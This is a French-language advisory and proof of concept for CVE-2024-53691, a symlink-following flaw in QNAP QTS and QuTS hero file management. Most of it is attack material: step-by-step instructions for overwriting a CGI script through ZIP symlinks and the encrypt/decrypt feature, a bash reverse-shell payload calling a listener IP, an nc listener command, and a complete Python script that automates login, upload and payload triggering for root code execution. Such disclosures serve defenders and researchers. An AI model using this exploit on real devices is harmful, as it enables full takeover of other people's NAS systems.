
CVE-2024-53691
"Si elle est exploitée, la vulnérabilité de suivi de lien pourrait permettre à des attaquants distants ayant obtenu un accès utilisateur de traverser le système de fichiers vers des emplacements non prévus."
Date de découverte : 22 avril 2024
Date du correctif : 7 septembre 2024
Version(s) affectée(s) : QTS 5.1.x, QuTS hero h5.1.x
Version(s) corrigée(s) : QTS 5.2.0.2802 build 20240620 et versions ultérieures, QuTS hero h5.2.0.2802 build 20240620 et versions ultérieures
Permissions d'accès : Utilisateur régulier avec permission de téléversement de fichier
Résumé :
Il est possible de téléverser un lien symbolique via un fichier ZIP et d'abuser de la fonction de chiffrement/déchiffrement pour obtenir une primitive d'écriture arbitraire de fichier, pouvant être transformée en exécution de code à distance.
Un attaquant disposant des privilèges d'un utilisateur régulier peut exploiter la vulnérabilité pour obtenir une exécution de code en tant que root et compromettre complètement le système.
Créez un lien symbolique et placez-le dans un fichier ZIP. La cible du lien symbolique spécifie le fichier qui sera écrasé. Pour obtenir une exécution de code à distance, /home/httpd/cgi-bin/restore_config.cgi a été choisi.
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
Écrivez les commandes shell qui seront exécutées dans payload.txt. Un shell inverse bash standard est utilisé dans l'exemple. N'oubliez pas d'ajuster l'adresse IP et le port de l'écouteur.
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
Connectez-vous en tant qu'utilisateur à faibles privilèges.
Téléversez le fichier ZIP via l'interface web.
Extrayez le fichier ZIP en cliquant droit et en sélectionnant Extract to /pwn/.
Téléversez payload.txt vers /pwn/payload.txt.

Chiffrez payload.txt en cliquant droit, en sélectionnant Encrypt et en réglant Do you want to encrypt and replace the original file? sur Yes.
Renommez le fichier payload.txt.qenc en link.txt.qenc en cliquant droit et en sélectionnant Rename.
Déchiffrez le fichier link.txt.qenc en cliquant droit, en sélectionnant Decrypt et en réglant Mode sur Overwrite.
Démarrez votre écouteur de shell inverse.
nc -nvlp 4444
Ouvrez le point de terminaison /cgi-bin/restore_config.cgi dans votre navigateur pour déclencher l'exécution du shell inverse.

Le script Python suivant peut être utilisé pour exploiter la vulnérabilité.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('creating zip file')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('uploading payload file')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('encrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('renaming payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('decrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('executing payload')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()